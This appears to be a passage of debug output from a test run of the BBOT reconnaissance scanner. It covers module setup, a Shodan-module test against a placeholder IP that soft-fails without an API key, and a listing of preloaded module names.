[DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 18:41:28,982 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 18:41:28,982 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 18:41:28,982 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 18:41:28,982 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 18:41:28,983 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 18:41:28,983 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 18:41:28,983 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 18:41:28,983 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 18:41:28,983 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 18:41:28,984 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 18:41:28,984 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 18:41:28,984 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 18:41:28,984 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 18:41:28,984 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 18:41:28,985 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 18:41:28,985 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 18:41:28,985 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 18:41:28,985 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 18:41:28,985 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 18:41:28,986 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 18:41:28,986 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 18:41:28,986 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 18:41:28,986 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 18:41:28,987 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 18:41:28,987 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 18:41:28,987 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 18:41:28,987 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified -2026-02-27 18:41:28,987 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 18:41:28,988 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 18:41:28,988 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. -2026-02-27 18:41:28,988 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 18:41:28,988 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 18:41:29,130 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_txjgo3yusg -2026-02-27 18:41:29,130 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 18:41:29,238 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started -2026-02-27 18:41:29,239 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 18:41:29,239 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 18:41:29,241 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 18:41:29,342 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check -2026-02-27 18:41:29,342 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 18:41:29,344 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 18:41:29,345 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 18:41:29,346 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:9b66130f43ce97ff980b12ed100ebdb9567eaf84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:41:29,347 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9b66130f43ce97ff980b12ed100ebdb9567eaf84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:41:29,348 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 18:41:29,348 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 18:41:29,350 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9b66130f43ce97ff980b12ed100ebdb9567eaf84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:41:29,351 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:9b66130f43ce97ff980b12ed100ebdb9567eaf84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 18:41:29,352 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:9b66130f43ce97ff980b12ed100ebdb9567eaf84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:41:29,354 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:9b66130f43ce97ff980b12ed100ebdb9567eaf84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:41:29,355 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9b66130f43ce97ff980b12ed100ebdb9567eaf84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:41:29,357 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9b66130f43ce97ff980b12ed100ebdb9567eaf84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:41:29,358 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:9b66130f43ce97ff980b12ed100ebdb9567eaf84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 18:41:29,361 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 18:41:29,362 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 18:41:29,362 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 18:41:29,363 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 18:41:29,363 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-02-27 18:41:29,441 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:9b66130f43ce97ff980b12ed100ebdb9567eaf84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 18:41:29,442 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:9b66130f43ce97ff980b12ed100ebdb9567eaf84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:41:29,443 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-02-27 18:41:29,443 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 18:41:29,444 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 18:41:29,445 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 18:41:29,446 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 18:41:29,446 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 18:41:29,447 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 18:41:29,447 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 18:41:29,547 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 18:41:29,548 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 18:41:29,566 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 18:41:29,567 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 18:41:29,568 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks -2026-02-27 18:41:29,582 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks -2026-02-27 18:41:29,583 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 18:41:29,583 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 18:41:29,584 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 18:41:29,585 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 18:41:29,586 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 18:41:29,711 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_txjgo3yusg completed in 0 seconds with status FINISHED -2026-02-27 18:41:29,711 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 18:41:29,712 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:43:04,396 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 18:43:04,398 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 18:43:04,410 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 18:43:04,413 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 18:43:04,414 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 18:43:04,415 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 18:43:04,416 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 18:43:04,417 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 18:43:04,419 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 18:43:04,419 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 18:43:04,420 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 18:43:04,421 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 18:43:04,422 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 18:43:04,423 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 18:43:04,423 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 18:43:04,424 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 18:43:04,424 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 18:43:04,425 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 18:43:04,426 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 18:43:04,427 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 18:43:04,428 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 18:43:04,429 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 18:43:04,430 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 18:43:04,431 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 18:43:04,431 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 18:43:04,432 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 18:43:04,433 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 18:43:04,434 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 18:43:04,435 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 18:43:04,436 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 18:43:04,436 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 18:43:04,437 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 18:43:04,438 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 18:43:04,439 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 18:43:04,440 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 18:43:04,441 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 18:43:04,441 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 18:43:04,442 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:43:04,443 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 18:43:04,443 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 18:43:04,444 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 18:43:04,445 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 18:43:04,445 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 18:43:04,446 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 18:43:04,446 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 18:43:04,447 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 18:43:04,447 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 18:43:04,448 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 18:43:04,448 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 18:43:04,453 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 18:43:04,453 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 18:43:04,454 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 18:43:04,455 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 18:43:04,456 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 18:43:04,456 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 18:43:04,457 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 18:43:04,458 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 18:43:04,459 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 18:43:04,459 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 18:43:04,460 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 18:43:04,461 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 18:43:04,461 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 18:43:04,463 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 18:43:04,463 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 18:43:04,464 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 18:43:04,465 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 18:43:04,465 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 18:43:04,466 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 18:43:04,466 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 18:43:04,467 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 18:43:04,467 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 18:43:04,468 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 18:43:04,469 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 18:43:04,469 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 18:43:04,470 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 18:43:04,476 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 18:43:04,477 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 18:43:04,478 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 18:43:04,479 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 18:43:04,480 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 18:43:04,481 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 18:43:04,481 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 18:43:04,482 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 18:43:04,483 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 18:43:04,483 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 18:43:04,484 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 18:43:04,485 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 18:43:04,486 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 18:43:04,486 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 18:43:04,487 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 18:43:04,487 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 18:43:04,488 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 18:43:04,488 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 18:43:04,489 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 18:43:04,489 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 18:43:04,490 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 18:43:04,490 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 18:43:04,491 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 18:43:04,491 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 18:43:04,493 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 18:43:04,493 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 18:43:04,494 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 18:43:04,495 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 18:43:04,496 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 18:43:04,496 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 18:43:04,497 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 18:43:04,498 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 18:43:04,498 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 18:43:04,499 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 18:43:04,499 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 18:43:04,500 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 18:43:04,500 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 18:43:04,501 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 18:43:04,502 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 18:43:04,502 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 18:43:04,503 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 18:43:04,503 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 18:43:04,504 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 18:43:04,505 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 18:43:04,505 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 18:43:04,506 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 18:43:04,506 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 18:43:04,507 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 18:43:04,507 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 18:43:04,508 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 18:43:04,509 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 18:43:04,510 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 18:43:04,510 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 18:43:04,512 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 18:43:04,512 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 18:43:04,513 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 18:43:04,513 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 18:43:04,514 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 18:43:04,515 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 18:43:04,515 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 18:43:04,516 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 18:43:04,516 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 18:43:04,517 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 18:43:04,518 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 18:43:04,519 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 18:43:04,519 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 18:43:04,520 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 18:43:04,521 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 18:43:04,521 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 18:43:04,522 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 18:43:04,523 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 18:43:04,523 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 18:43:04,524 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 18:43:04,524 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 18:43:04,525 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 18:43:04,525 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 18:43:04,526 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 18:43:04,527 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 18:43:04,527 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 18:43:04,528 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 18:43:04,529 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 18:43:04,529 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 18:43:04,531 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 18:43:04,531 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 18:43:04,533 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 18:43:04,533 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 18:43:04,537 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 18:43:04,538 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 18:43:04,539 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 18:43:04,540 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 18:43:04,542 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 18:43:04,543 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 18:43:04,545 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 18:43:04,545 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 18:43:04,546 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid 